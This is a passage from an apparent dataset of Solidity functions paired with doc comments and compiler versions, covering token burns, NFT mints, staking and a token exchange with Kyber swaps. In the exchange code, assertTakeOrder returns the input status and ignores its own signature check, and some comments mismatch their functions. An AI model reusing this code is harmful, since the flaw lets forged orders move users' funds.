eros vitae, laoreet neque.\r\n Pellentesque elementum risus tincidunt erat viverra hendrerit.\r\n Donec nec velit ut lectus fringilla lacinia.\r\n Donec laoreet enim at diam blandit tincidunt.\r\n Aenean sollicitudin sem vitae dui sollicitudin finibus.\r\n Donec vitae massa varius erat cursus commodo nec a lectus.\r\n \r\n Nulla dapibus sapien ut gravida commodo.\r\n Phasellus dignissim justo et nisi fermentum commodo.\r\n Etiam non sapien quis erat lacinia tempor.\r\n Suspendisse egestas diam in vestibulum sagittis.\r\n Pellentesque eget tellus volutpat, interdum erat eget, viverra nunc.\r\n Aenean sagittis metus vitae felis pulvinar, mollis gravida purus ornare.\r\n Morbi hendrerit eros sed suscipit bibendum.\r\n Suspendisse egestas ante in mi maximus, quis aliquam elit porttitor.\r\n Donec eget sem aliquam, placerat purus at, lobortis lorem.\r\n \r\n Sed feugiat lectus non justo auctor placerat.\r\n Sed sit amet nulla volutpat, sagittis risus non, congue nibh.\r\n Integer vel ligula gravida, sollicitudin eros non, dictum nibh.\r\n Quisque non nisi molestie, interdum mi eget, ultrices nisl.\r\n Quisque maximus risus quis dignissim tempor.\r\n Nam sit amet tellus vulputate, fringilla sapien in, porttitor libero.\r\n Integer consequat velit ut auctor ullamcorper.\r\n Pellentesque mattis quam sed sollicitudin mattis.\r\n \r\n Sed feugiat lectus non justo auctor placerat.\r\n Sed sit amet nulla volutpat, sagittis risus non, congue nibh.\r\n Integer vel ligula gravida, sollicitudin eros non, dictum nibh.\r\n Quisque non nisi molestie, interdum mi eget, ultrices nisl.\r\n Quisque maximus risus quis dignissim tempor.\r\n Nam sit amet tellus vulputate, fringilla sapien in, porttitor libero.\r\n Integer consequat velit ut auctor ullamcorper.\r\n Pellentesque mattis quam sed sollicitudin mattis.\r\n */", "function_code": "function _burn(address account, uint256 amount) internal virtual {\r\n require(account != address(0), \"ERC20: burn from the zero address\");\r\n\r\n _beforeTokenTransfer(account, address(0), amount);\r\n\r\n _balances[account] = _balances[account].sub(amount, \"ERC20: burn amount exceeds balance\");\r\n _totalSupply = _totalSupply.sub(amount);\r\n emit Transfer(account, address(0), amount);\r\n }", "version": "0.6.6"} {"comment": "// Constructor function - init core params on deploy", "function_code": "function SwarmVotingMVP(uint256 _startTime, uint256 _endTime, bytes32 _encPK, bool enableTesting) public {\r\n owner = msg.sender;\r\n\r\n startTime = _startTime;\r\n endTime = _endTime;\r\n ballotEncryptionPubkey = _encPK;\r\n\r\n bannedAddresses[swarmFundAddress] = true;\r\n\r\n if (enableTesting) {\r\n testMode = true;\r\n TestingEnabled();\r\n }\r\n }", "version": "0.4.18"} {"comment": "// airdrop NFT", "function_code": "function airdropNFTFixed(address[] calldata _address, uint256 num)\n external\n onlyOwner\n {\n require(\n (_address.length * num) <= 1000,\n \"Maximum 1000 tokens per transaction\"\n );\n\n require(\n totalSupply() + (_address.length * num) <= MAX_SUPPLY,\n \"Exceeds maximum supply\"\n );\n\n for (uint256 i = 0; i < _address.length; i++) {\n _baseMint(_address[i], num);\n }\n }", "version": "0.8.4"} {"comment": "/**\r\n * @dev Adds a key-value pair to a map, or updates the value for an existing\r\n * key. O(1).\r\n *\r\n * Returns true if the key was added to the map, that is if it was not\r\n * already present.\r\n */", "function_code": "function _set(Map storage map, bytes32 key, bytes32 value) private returns (bool) {\r\n // We read and store the key's index to prevent multiple reads from the same storage slot\r\n uint256 keyIndex = map._indexes[key];\r\n\r\n if (keyIndex == 0) { // Equivalent to !contains(map, key)\r\n map._entries.push(MapEntry({ _key: key, _value: value }));\r\n // The entry is stored at length-1, but we add 1 to all indexes\r\n // and use 0 as a sentinel value\r\n map._indexes[key] = map._entries.length;\r\n return true;\r\n } else {\r\n map._entries[keyIndex - 1]._value = value;\r\n return false;\r\n }\r\n }", "version": "0.7.3"} {"comment": "/**\r\n * @dev Returns the value associated with `key`. O(1).\r\n *\r\n * Requirements:\r\n *\r\n * - `key` must be in the map.\r\n */", "function_code": "function _get(Map storage map, bytes32 key) private view returns (bytes32) {\r\n uint256 keyIndex = map._indexes[key];\r\n require(keyIndex != 0, \"EnumerableMap: nonexistent key\"); // Equivalent to contains(map, key)\r\n return map._entries[keyIndex - 1]._value; // All indexes are 1-based\r\n }", "version": "0.7.3"} {"comment": "/**\r\n * @dev Same as {_get}, with a custom error message when `key` is not in the map.\r\n *\r\n * CAUTION: This function is deprecated because it requires allocating memory for the error\r\n * message unnecessarily. For custom revert reasons use {_tryGet}.\r\n */", "function_code": "function _get(Map storage map, bytes32 key, string memory errorMessage) private view returns (bytes32) {\r\n uint256 keyIndex = map._indexes[key];\r\n require(keyIndex != 0, errorMessage); // Equivalent to contains(map, key)\r\n return map._entries[keyIndex - 1]._value; // All indexes are 1-based\r\n }", "version": "0.7.3"} {"comment": "// Deposit token on stake contract for WETH allocation.", "function_code": "function deposit(uint256 _pid, uint256 _amount) public {\r\n PoolInfo storage pool = poolInfo[_pid];\r\n UserInfo storage user = userInfo[_pid][msg.sender];\r\n updatePool(_pid);\r\n if (user.amount > 0) {\r\n uint256 pending = user.amount.mul(pool.accWETHPerShare).div(1e12).sub(user.rewardDebt);\r\n safeWETHTransfer(msg.sender, pending);\r\n }\r\n pool.lpToken.safeTransferFrom(address(msg.sender), address(this), _amount);\r\n user.amount = user.amount.add(_amount);\r\n user.rewardDebt = user.amount.mul(pool.accWETHPerShare).div(1e12);\r\n emit Deposit(msg.sender, _pid, _amount);\r\n }", "version": "0.6.12"} {"comment": "// ONLY TEST TOKENS MINT", "function_code": "function testTokensSupply_beta(address _address, uint256 _amount, uint256 _currencyId) public onlyOwner {\r\n if(_currencyId==0)\r\n {\r\n xweth.mint(_address, _amount);\r\n }\r\n\r\n if(_currencyId==1)\r\n {\r\n cxeth.mint(_address, _amount);\r\n }\r\n \r\n if(_currencyId==2)\r\n {\r\n axeth.mint(_address, _amount);\r\n }\r\n \r\n if(_currencyId==3)\r\n {\r\n xaeth.mint(_address, _amount);\r\n }\r\n }", "version": "0.6.12"} {"comment": "// ONLY TEST TOKENS BURN", "function_code": "function testTokensBurn_beta(address _address, uint256 _amount, uint256 _currencyId) public onlyOwner {\r\n if(_currencyId==0)\r\n {\r\n xweth.burn(_address, _amount);\r\n }\r\n\r\n if(_currencyId==1)\r\n {\r\n cxeth.burn(_address, _amount);\r\n }\r\n \r\n if(_currencyId==2)\r\n {\r\n axeth.burn(_address, _amount);\r\n }\r\n \r\n if(_currencyId==3)\r\n {\r\n xaeth.burn(_address, _amount);\r\n }\r\n }", "version": "0.6.12"} {"comment": "// Create a function to mint/create the NFT", "function_code": "function mintCuriousAxolotl(uint numberOfTokens) public payable {\r\n require(saleIsActive, \"Sale must be active to mint Axolotl\");\r\n require(numberOfTokens > 0 && numberOfTokens <= maxAxolotlPurchase, \"Can only mint 20 tokens at a time\");\r\n require(totalSupply().add(numberOfTokens) <= MAX_AXOLOTL, \"Purchase would exceed max supply of Axolotls\");\r\n require(msg.value >= axolotlPrice.mul(numberOfTokens), \"Ether value sent is not correct\");\r\n \r\n for(uint i = 0; i < numberOfTokens; i++) {\r\n uint mintIndex = totalSupply();\r\n if (totalSupply() < MAX_AXOLOTL) {\r\n _safeMint(msg.sender, mintIndex);\r\n }\r\n }\r\n\r\n }", "version": "0.7.3"} {"comment": "// GET ALL AXOLOTL OF A WALLET AS AN ARRAY OF STRINGS.", "function_code": "function axolotlNamesOfOwner(address _owner) external view returns(string[] memory ) {\r\n uint256 tokenCount = balanceOf(_owner);\r\n if (tokenCount == 0) {\r\n // Return an empty array\r\n return new string[](0);\r\n } else {\r\n string[] memory result = new string[](tokenCount);\r\n uint256 index;\r\n for (index = 0; index < tokenCount; index++) {\r\n result[index] = axolotlNames[ tokenOfOwnerByIndex(_owner, index) ] ;\r\n }\r\n return result;\r\n }\r\n }", "version": "0.7.3"} {"comment": "/**\n * @notice Claim random reward\n * @param _tokenId - msg.sender's nft id\n */", "function_code": "function claim(uint256 _tokenId) external virtual {\n require(\n claimed[_tokenId] == 0,\n \"claim: reward has already been received\"\n );\n require(\n _tokenId >= tokenIdFrom && _tokenId <= tokenIdTo,\n \"claim: tokenId out of range\"\n );\n\n address sender = msg.sender;\n\n address owner;\n address nftCollection;\n\n // gas safe - max 10 iterations\n for (uint256 i = 0; i < collections.length; i++) {\n try IERC721(collections[i]).ownerOf(_tokenId) returns (\n address curOwner\n ) {\n if (curOwner == sender) {\n owner = curOwner;\n nftCollection = collections[i];\n break;\n }\n } catch {\n continue;\n }\n }\n require(owner == sender, \"claim: caller is not the NFT owner\");\n\n uint256 amountReward = 0;\n if (_random(0, 1) == 1) {\n amountReward = _random(minReward, maxReward);\n claimed[_tokenId] = amountReward;\n rewardToken.safeTransfer(sender, amountReward);\n } else {\n claimed[_tokenId] = type(uint256).max;\n }\n\n emit Claim(nftCollection, _tokenId, sender, amountReward);\n }", "version": "0.8.6"} {"comment": "// override", "function_code": "function safeTransferFrom(address _from, address _to, uint256 _id, uint256 _value, bytes memory _data) public {\n require(_to != address(0x0), \"ERC1155: cannot send to zero address\");\n require(_from == msg.sender || operatorApproval[_from][msg.sender] == true, \"ERC1155: need operator approval for 3rd party transfers\");\n\n if (isNonFungible(_id)) {\n require(nfOwners[_id] == _from, \"ERC1155: not a token owner\");\n\n nfOwners[_id] = _to;\n\n onTransferNft(_from, _to, _id);\n\n uint256 baseType = getNonFungibleBaseType(_id);\n balances[baseType][_from] = balances[baseType][_from].sub(_value);\n balances[baseType][_to] = balances[baseType][_to].add(_value);\n } else {\n require(balances[_id][_from] >= _value, \"ERC1155: insufficient balance for transfer\");\n\n onTransfer20(_from, _to, _id, _value);\n\n balances[_id][_from] = balances[_id][_from].sub(_value);\n balances[_id][_to] = balances[_id][_to].add(_value);\n }\n\n emit TransferSingle(msg.sender, _from, _to, _id, _value);\n\n if (_to.isContract()) {\n _doSafeTransferAcceptanceCheck(msg.sender, _from, _to, _id, _value, _data);\n }\n }", "version": "0.5.8"} {"comment": "/**\r\n * @dev Returns true if `account` is a contract.\r\n *\r\n * This test is non-exhaustive, and there may be false-negatives: during the\r\n * execution of a contract's constructor, its address will be reported as\r\n * not containing a contract.\r\n *\r\n * > It is unsafe to assume that an address for which this function returns\r\n * false is an externally-owned account (EOA) and not a contract.\r\n */", "function_code": "function isContract(address account) internal view returns (bool) {\r\n // This method relies in extcodesize, which returns 0 for contracts in\r\n // construction, since the code is only stored at the end of the\r\n // constructor execution.\r\n\r\n uint256 size;\r\n // solhint-disable-next-line no-inline-assembly\r\n assembly { size := extcodesize(account) }\r\n return size > 0;\r\n }", "version": "0.5.10"} {"comment": "/**\r\n * @return return the balance of multiple tokens for certain `user`\r\n */", "function_code": "function getBalances(\r\n address user,\r\n address[] memory token\r\n )\r\n public\r\n view\r\n returns(uint256[] memory balanceArray)\r\n {\r\n balanceArray = new uint256[](token.length);\r\n\r\n for(uint256 index = 0; index < token.length; index++) {\r\n balanceArray[index] = balances[token[index]][user];\r\n }\r\n }", "version": "0.5.10"} {"comment": "/**\r\n * @return return the filled amount of multple orders specified by `orderHash` array\r\n */", "function_code": "function getFills(\r\n bytes32[] memory orderHash\r\n )\r\n public\r\n view\r\n returns (uint256[] memory filledArray)\r\n {\r\n filledArray = new uint256[](orderHash.length);\r\n\r\n for(uint256 index = 0; index < orderHash.length; index++) {\r\n filledArray[index] = filled[orderHash[index]];\r\n }\r\n }", "version": "0.5.10"} {"comment": "/**\n * @dev Transfer token when proxy contract transfer is called\n * @param _from address representing the previous owner of the given token ID\n * @param _to address representing the new owner of the given token ID\n * @param _tokenId uint256 ID of the token to be removed from the tokens list of the given address\n * @param _data bytes some arbitrary data\n */", "function_code": "function proxyTransfer721(address _from, address _to, uint256 _tokenId, bytes calldata _data) external {\n uint256 nftType = getNFTType(_tokenId);\n ERC721 proxy = proxy721[nftType];\n\n require(msg.sender == address(proxy), \"ERC1155-ERC721: caller is not token contract\");\n require(_ownerOf(_tokenId) == _from, \"ERC1155-ERC721: cannot transfer token to itself\");\n\n // gives approval for proxy token contracts\n operatorApproval[_from][address(proxy)] = true;\n\n safeTransferFrom(_from, _to, _tokenId, 1, _data);\n }", "version": "0.5.8"} {"comment": "/**\r\n * @dev Compute the status of an order.\r\n * Should be called before a contract execution is performet in order to not waste gas.\r\n * @return OrderStatus.FILLABLE if the order is valid for taking.\r\n * Note: See LibOrder.sol to see all statuses\r\n */", "function_code": "function getOrderInfo(\r\n uint256 partialAmount,\r\n Order memory order\r\n )\r\n public\r\n view\r\n returns (OrderInfo memory orderInfo)\r\n {\r\n // Compute the order hash\r\n orderInfo.hash = getPrefixedHash(order);\r\n\r\n // Fetch filled amount\r\n orderInfo.filledAmount = filled[orderInfo.hash];\r\n\r\n // Check taker balance\r\n if(balances[order.makerBuyToken][order.taker] < order.takerSellAmount) {\r\n orderInfo.status = uint8(OrderStatus.INVALID_TAKER_AMOUNT);\r\n return orderInfo;\r\n }\r\n\r\n // Check maker balance\r\n if(balances[order.makerSellToken][order.maker] < partialAmount) {\r\n orderInfo.status = uint8(OrderStatus.INVALID_MAKER_AMOUNT);\r\n return orderInfo;\r\n }\r\n\r\n // Check if order is filled\r\n if (orderInfo.filledAmount.add(order.takerSellAmount) > order.makerBuyAmount) {\r\n orderInfo.status = uint8(OrderStatus.FULLY_FILLED);\r\n return orderInfo;\r\n }\r\n\r\n // Check for expiration\r\n if (block.number >= order.expiration) {\r\n orderInfo.status = uint8(OrderStatus.EXPIRED);\r\n return orderInfo;\r\n }\r\n\r\n // Check if order has been cancelled\r\n if (cancelled[orderInfo.hash]) {\r\n orderInfo.status = uint8(OrderStatus.CANCELLED);\r\n return orderInfo;\r\n }\r\n\r\n orderInfo.status = uint8(OrderStatus.FILLABLE);\r\n return orderInfo;\r\n }", "version": "0.5.10"} {"comment": "/**\r\n * @dev Execute a trade based on the input order and signature.\r\n * If the order is valid returns true.\r\n */", "function_code": "function _trade(\r\n Order memory order,\r\n bytes memory signature\r\n )\r\n internal\r\n returns(bool)\r\n {\r\n order.taker = msg.sender;\r\n\r\n uint256 takerReceivedAmount = getPartialAmount(\r\n order.makerSellAmount,\r\n order.makerBuyAmount,\r\n order.takerSellAmount\r\n );\r\n\r\n OrderInfo memory orderInfo = getOrderInfo(takerReceivedAmount, order);\r\n\r\n uint8 status = assertTakeOrder(orderInfo.hash, orderInfo.status, order.maker, signature);\r\n\r\n if(status != uint8(OrderStatus.FILLABLE)) {\r\n return false;\r\n }\r\n\r\n OrderFill memory orderFill = getOrderFillResult(takerReceivedAmount, order);\r\n\r\n executeTrade(order, orderFill);\r\n\r\n filled[orderInfo.hash] = filled[orderInfo.hash].add(order.takerSellAmount);\r\n\r\n emit Trade(\r\n order.maker,\r\n order.taker,\r\n orderInfo.hash,\r\n order.makerBuyToken,\r\n order.makerSellToken,\r\n orderFill.makerFillAmount,\r\n orderFill.takerFillAmount,\r\n orderFill.takerFeePaid,\r\n orderFill.makerFeeReceived,\r\n orderFill.referralFeeReceived\r\n );\r\n\r\n return true;\r\n }", "version": "0.5.10"} {"comment": "/**\r\n * @dev Cancel an order if msg.sender is the order signer.\r\n */", "function_code": "function cancelSingleOrder(\r\n Order memory order,\r\n bytes memory signature\r\n )\r\n public\r\n {\r\n bytes32 orderHash = getPrefixedHash(order);\r\n\r\n require(\r\n recover(orderHash, signature) == msg.sender,\r\n \"INVALID_SIGNER\"\r\n );\r\n\r\n require(\r\n cancelled[orderHash] == false,\r\n \"ALREADY_CANCELLED\"\r\n );\r\n\r\n cancelled[orderHash] = true;\r\n\r\n emit Cancel(\r\n order.makerBuyToken,\r\n order.makerSellToken,\r\n msg.sender,\r\n orderHash\r\n );\r\n }", "version": "0.5.10"} {"comment": "/**\r\n * @dev Computation of the following properties based on the order input:\r\n * takerFillAmount -> amount of assets received by the taker\r\n * makerFillAmount -> amount of assets received by the maker\r\n * takerFeePaid -> amount of fee paid by the taker (0.2% of takerFillAmount)\r\n * makerFeeReceived -> amount of fee received by the maker (50% of takerFeePaid)\r\n * referralFeeReceived -> amount of fee received by the taker referrer (10% of takerFeePaid)\r\n * exchangeFeeReceived -> amount of fee received by the exchange (40% of takerFeePaid)\r\n */", "function_code": "function getOrderFillResult(\r\n uint256 takerReceivedAmount,\r\n Order memory order\r\n )\r\n internal\r\n view\r\n returns (OrderFill memory orderFill)\r\n {\r\n orderFill.takerFillAmount = takerReceivedAmount;\r\n\r\n orderFill.makerFillAmount = order.takerSellAmount;\r\n\r\n // 0.2% == 0.2*10^16\r\n orderFill.takerFeePaid = getFeeAmount(\r\n takerReceivedAmount,\r\n takerFeeRate\r\n );\r\n\r\n // 50% of taker fee == 50*10^16\r\n orderFill.makerFeeReceived = getFeeAmount(\r\n orderFill.takerFeePaid,\r\n makerFeeRate\r\n );\r\n\r\n // 10% of taker fee == 10*10^16\r\n orderFill.referralFeeReceived = getFeeAmount(\r\n orderFill.takerFeePaid,\r\n referralFeeRate\r\n );\r\n\r\n // exchangeFee = (takerFeePaid - makerFeeReceived - referralFeeReceived)\r\n orderFill.exchangeFeeReceived = orderFill.takerFeePaid.sub(\r\n orderFill.makerFeeReceived).sub(\r\n orderFill.referralFeeReceived);\r\n\r\n }", "version": "0.5.10"} {"comment": "/**\r\n * @dev Throws when the order status is invalid or the signer is not valid.\r\n */", "function_code": "function assertTakeOrder(\r\n bytes32 orderHash,\r\n uint8 status,\r\n address signer,\r\n bytes memory signature\r\n )\r\n internal\r\n pure\r\n returns(uint8)\r\n {\r\n uint8 result = uint8(OrderStatus.FILLABLE);\r\n\r\n if(recover(orderHash, signature) != signer) {\r\n result = uint8(OrderStatus.INVALID_SIGNER);\r\n }\r\n\r\n if(status != uint8(OrderStatus.FILLABLE)) {\r\n result = status;\r\n }\r\n\r\n return status;\r\n }", "version": "0.5.10"} {"comment": "/**\r\n * @dev Updates the contract state i.e. user balances\r\n */", "function_code": "function executeTrade(\r\n Order memory order,\r\n OrderFill memory orderFill\r\n )\r\n private\r\n {\r\n uint256 makerGiveAmount = orderFill.takerFillAmount.sub(orderFill.makerFeeReceived);\r\n uint256 takerFillAmount = orderFill.takerFillAmount.sub(orderFill.takerFeePaid);\r\n\r\n address referrer = referrals[order.taker];\r\n address feeAddress = feeAccount;\r\n\r\n balances[order.makerSellToken][referrer] = balances[order.makerSellToken][referrer].add(orderFill.referralFeeReceived);\r\n balances[order.makerSellToken][feeAddress] = balances[order.makerSellToken][feeAddress].add(orderFill.exchangeFeeReceived);\r\n\r\n balances[order.makerBuyToken][order.taker] = balances[order.makerBuyToken][order.taker].sub(orderFill.makerFillAmount);\r\n balances[order.makerBuyToken][order.maker] = balances[order.makerBuyToken][order.maker].add(orderFill.makerFillAmount);\r\n\r\n balances[order.makerSellToken][order.taker] = balances[order.makerSellToken][order.taker].add(takerFillAmount);\r\n balances[order.makerSellToken][order.maker] = balances[order.makerSellToken][order.maker].sub(makerGiveAmount);\r\n }", "version": "0.5.10"} {"comment": "/**\r\n * @dev Swaps ETH/TOKEN, TOKEN/ETH or TOKEN/TOKEN using KyberNetwork reserves.\r\n */", "function_code": "function kyberSwap(\r\n uint256 givenAmount,\r\n address givenToken,\r\n address receivedToken,\r\n bytes32 hash\r\n )\r\n public\r\n payable\r\n {\r\n address taker = msg.sender;\r\n\r\n KyberData memory kyberData = getSwapInfo(\r\n givenAmount,\r\n givenToken,\r\n receivedToken,\r\n taker\r\n );\r\n\r\n uint256 convertedAmount = kyberNetworkContract.trade.value(kyberData.value)(\r\n kyberData.givenToken,\r\n givenAmount,\r\n kyberData.receivedToken,\r\n taker,\r\n MAX_DEST_AMOUNT,\r\n kyberData.rate,\r\n feeAccount\r\n );\r\n\r\n emit Trade(\r\n address(kyberNetworkContract),\r\n taker,\r\n hash,\r\n givenToken,\r\n receivedToken,\r\n givenAmount,\r\n convertedAmount,\r\n 0,\r\n 0,\r\n 0\r\n );\r\n }", "version": "0.5.10"} {"comment": "/**\r\n * @dev Exchange ETH/TOKEN, TOKEN/ETH or TOKEN/TOKEN using the internal\r\n * balance mapping that keeps track of user's balances. It requires user to first invoke deposit function.\r\n * The function relies on KyberNetworkProxy contract.\r\n */", "function_code": "function kyberTrade(\r\n uint256 givenAmount,\r\n address givenToken,\r\n address receivedToken,\r\n bytes32 hash\r\n )\r\n public\r\n {\r\n address taker = msg.sender;\r\n\r\n KyberData memory kyberData = getTradeInfo(\r\n givenAmount,\r\n givenToken,\r\n receivedToken\r\n );\r\n\r\n balances[givenToken][taker] = balances[givenToken][taker].sub(givenAmount);\r\n\r\n uint256 convertedAmount = kyberNetworkContract.trade.value(kyberData.value)(\r\n kyberData.givenToken,\r\n givenAmount,\r\n kyberData.receivedToken,\r\n address(this),\r\n MAX_DEST_AMOUNT,\r\n kyberData.rate,\r\n feeAccount\r\n );\r\n\r\n balances[receivedToken][taker] = balances[receivedToken][taker].add(convertedAmount);\r\n\r\n emit Trade(\r\n address(kyberNetworkContract),\r\n taker,\r\n hash,\r\n givenToken,\r\n receivedToken,\r\n givenAmount,\r\n convertedAmount,\r\n 0,\r\n 0,\r\n 0\r\n );\r\n }", "version": "0.5.10"} {"comment": "/**\r\n * @dev Helper function to determine what is being swapped.\r\n */", "function_code": "function getSwapInfo(\r\n uint256 givenAmount,\r\n address givenToken,\r\n address receivedToken,\r\n address taker\r\n )\r\n private\r\n returns(KyberData memory)\r\n {\r\n KyberData memory kyberData;\r\n uint256 givenTokenDecimals;\r\n uint256 receivedTokenDecimals;\r\n\r\n if(givenToken == address(0x0)) {\r\n require(msg.value == givenAmount, \"INVALID_ETH_VALUE\");\r\n\r\n kyberData.givenToken = KYBER_ETH_TOKEN_ADDRESS;\r\n kyberData.receivedToken = receivedToken;\r\n kyberData.value = givenAmount;\r\n\r\n givenTokenDecimals = ETH_DECIMALS;\r\n receivedTokenDecimals = IERC20(receivedToken).decimals();\r\n } else if(receivedToken == address(0x0)) {\r\n kyberData.givenToken = givenToken;\r\n kyberData.receivedToken = KYBER_ETH_TOKEN_ADDRESS;\r\n kyberData.value = 0;\r\n\r\n givenTokenDecimals = IERC20(givenToken).decimals();\r\n receivedTokenDecimals = ETH_DECIMALS;\r\n\r\n IERC20(givenToken).safeTransferFrom(taker, address(this), givenAmount);\r\n IERC20(givenToken).safeApprove(address(kyberNetworkContract), givenAmount);\r\n } else {\r\n kyberData.givenToken = givenToken;\r\n kyberData.receivedToken = receivedToken;\r\n kyberData.value = 0;\r\n\r\n givenTokenDecimals = IERC20(givenToken).decimals();\r\n receivedTokenDecimals = IERC20(receivedToken).decimals();\r\n\r\n IERC20(givenToken).safeTransferFrom(taker, address(this), givenAmount);\r\n IERC20(givenToken).safeApprove(address(kyberNetworkContract), givenAmount);\r\n }\r\n\r\n (kyberData.rate, ) = kyberNetworkContract.getExpectedRate(\r\n kyberData.givenToken,\r\n kyberData.receivedToken,\r\n givenAmount\r\n );\r\n\r\n return kyberData;\r\n }", "version": "0.5.10"} {"comment": "/**\r\n * @dev Helper function to determines what is being\r\n swapped using the internal balance mapping.\r\n */", "function_code": "function getTradeInfo(\r\n uint256 givenAmount,\r\n address givenToken,\r\n address receivedToken\r\n )\r\n private\r\n returns(KyberData memory)\r\n {\r\n KyberData memory kyberData;\r\n uint256 givenTokenDecimals;\r\n uint256 receivedTokenDecimals;\r\n\r\n if(givenToken == address(0x0)) {\r\n kyberData.givenToken = KYBER_ETH_TOKEN_ADDRESS;\r\n kyberData.receivedToken = receivedToken;\r\n kyberData.value = givenAmount;\r\n\r\n givenTokenDecimals = ETH_DECIMALS;\r\n receivedTokenDecimals = IERC20(receivedToken).decimals();\r\n } else if(receivedToken == address(0x0)) {\r\n kyberData.givenToken = givenToken;\r\n kyberData.receivedToken = KYBER_ETH_TOKEN_ADDRESS;\r\n kyberData.value = 0;\r\n\r\n givenTokenDecimals = IERC20(givenToken).decimals();\r\n receivedTokenDecimals = ETH_DECIMALS;\r\n IERC20(givenToken).safeApprove(address(kyberNetworkContract), givenAmount);\r\n } else {\r\n kyberData.givenToken = givenToken;\r\n kyberData.receivedToken = receivedToken;\r\n kyberData.value = 0;\r\n\r\n givenTokenDecimals = IERC20(givenToken).decimals();\r\n receivedTokenDecimals = IERC20(receivedToken).decimals();\r\n IERC20(givenToken).safeApprove(address(kyberNetworkContract), givenAmount);\r\n }\r\n\r\n (kyberData.rate, ) = kyberNetworkContract.getExpectedRate(\r\n kyberData.givenToken,\r\n kyberData.receivedToken,\r\n givenAmount\r\n );\r\n\r\n return kyberData;\r\n }", "version": "0.5.10"} {"comment": "/**\r\n * @dev Updates the level 2 map `balances` based on the input\r\n * Note: token address is (0x0) when the deposit is for ETH\r\n */", "function_code": "function deposit(\r\n address token,\r\n uint256 amount,\r\n address beneficiary,\r\n address referral\r\n )\r\n public\r\n payable\r\n {\r\n uint256 value = amount;\r\n address user = msg.sender;\r\n\r\n if(token == address(0x0)) {\r\n value = msg.value;\r\n } else {\r\n IERC20(token).safeTransferFrom(user, address(this), value);\r\n }\r\n\r\n balances[token][beneficiary] = balances[token][beneficiary].add(value);\r\n\r\n if(referrals[user] == address(0x0)) {\r\n referrals[user] = referral;\r\n }\r\n\r\n emit Deposit(\r\n token,\r\n user,\r\n referrals[user],\r\n beneficiary,\r\n value,\r\n balances[token][beneficiary]\r\n );\r\n }", "version": "0.5.10"} {"comment": "//owner reserves the right to change the price", "function_code": "function setMaxSupplyPerID(\n\t\tuint256 id,\n\t\tuint256 newMaxSupplyPresale,\n\t\tuint256 newMaxSupply\n\t) external onlyOwner {\n\t\tif (id == 1) {\n\t\t\trequire(newMaxSupply < 1010, \"no more than 1010\");\n\t\t\trequire(newMaxSupplyPresale < 1010, \"no more than 1010\");\n\t\t}\n\t\tmaxSuppliesPresale[id] = newMaxSupplyPresale;\n\t\tmaxSupplies[id] = newMaxSupply;\n\t}", "version": "0.8.13"} {"comment": "/**\r\n * @dev Transfer assets between two users inside the exchange. Updates the level 2 map `balances`\r\n */", "function_code": "function transfer(\r\n address token,\r\n address to,\r\n uint256 amount\r\n )\r\n external\r\n payable\r\n {\r\n address user = msg.sender;\r\n\r\n require(\r\n balances[token][user] >= amount,\r\n \"INVALID_TRANSFER\"\r\n );\r\n\r\n balances[token][user] = balances[token][user].sub(amount);\r\n\r\n balances[token][to] = balances[token][to].add(amount);\r\n\r\n emit Transfer(\r\n token,\r\n user,\r\n to,\r\n amount,\r\n balances[token][user],\r\n balances[token][to]\r\n );\r\n }", "version": "0.5.10"} {"comment": "/**\r\n * @dev Helper function to migrate user's tokens. Should be called in migrateFunds() function.\r\n */", "function_code": "function migrateTokens(address[] memory tokens) private {\r\n address user = msg.sender;\r\n address exchange = newExchange;\r\n for (uint256 index = 0; index < tokens.length; index++) {\r\n\r\n address tokenAddress = tokens[index];\r\n\r\n uint256 tokenAmount = balances[tokenAddress][user];\r\n\r\n if (0 == tokenAmount) {\r\n continue;\r\n }\r\n\r\n IERC20(tokenAddress).safeApprove(exchange, tokenAmount);\r\n\r\n balances[tokenAddress][user] = 0;\r\n\r\n IExchangeUpgradability(exchange).importTokens(tokenAddress, tokenAmount, user);\r\n }\r\n }", "version": "0.5.10"} {"comment": "/**\r\n * @dev Helper function to migrate user's Ethers. Should be called only from the new exchange contract.\r\n */", "function_code": "function importEthers(address user)\r\n external\r\n payable\r\n {\r\n require(\r\n false != migrationAllowed,\r\n \"MIGRATION_DISALLOWED\"\r\n );\r\n\r\n require(\r\n user != address(0x0),\r\n \"INVALID_USER\"\r\n );\r\n\r\n require(\r\n msg.value > 0,\r\n \"INVALID_AMOUNT\"\r\n );\r\n\r\n require(\r\n IExchangeUpgradability(msg.sender).VERSION() < VERSION,\r\n \"INVALID_VERSION\"\r\n );\r\n\r\n balances[address(0x0)][user] = balances[address(0x0)][user].add(msg.value); // todo: constants\r\n }", "version": "0.5.10"} {"comment": "/// For creating Movie", "function_code": "function _createMovie(string _name, address _owner, uint256 _price) private {\r\n Movie memory _movie = Movie({\r\n name: _name\r\n });\r\n uint256 newMovieId = movies.push(_movie) - 1;\r\n\r\n // It's probably never going to happen, 4 billion tokens are A LOT, but\r\n // let's just be 100% sure we never let this happen.\r\n require(newMovieId == uint256(uint32(newMovieId)));\r\n\r\n Birth(newMovieId, _name, _owner);\r\n\r\n movieIndexToPrice[newMovieId] = _price;\r\n\r\n // This will assign ownership, and also emit the Transfer event as\r\n // per ERC721 draft\r\n _transfer(address(0), _owner, newMovieId);\r\n }", "version": "0.4.20"} {"comment": "/**\r\n * @dev Swaps ETH/TOKEN, TOKEN/ETH or TOKEN/TOKEN using off-chain signed messages.\r\n * The flow of the function is Deposit -> Trade -> Withdraw to allow users to directly\r\n * take liquidity without the need of deposit and withdraw.\r\n */", "function_code": "function swapFill(\r\n Order[] memory orders,\r\n bytes[] memory signatures,\r\n uint256 givenAmount,\r\n address givenToken,\r\n address receivedToken,\r\n address referral\r\n )\r\n public\r\n payable\r\n {\r\n address taker = msg.sender;\r\n\r\n uint256 balanceGivenBefore = balances[givenToken][taker];\r\n uint256 balanceReceivedBefore = balances[receivedToken][taker];\r\n\r\n deposit(givenToken, givenAmount, taker, referral);\r\n\r\n for (uint256 index = 0; index < orders.length; index++) {\r\n require(orders[index].makerBuyToken == givenToken, \"GIVEN_TOKEN\");\r\n require(orders[index].makerSellToken == receivedToken, \"RECEIVED_TOKEN\");\r\n\r\n _trade(orders[index], signatures[index]);\r\n }\r\n\r\n uint256 balanceGivenAfter = balances[givenToken][taker];\r\n uint256 balanceReceivedAfter = balances[receivedToken][taker];\r\n\r\n uint256 balanceGivenDelta = balanceGivenAfter.sub(balanceGivenBefore);\r\n uint256 balanceReceivedDelta = balanceReceivedAfter.sub(balanceReceivedBefore);\r\n\r\n if(balanceGivenDelta > 0) {\r\n 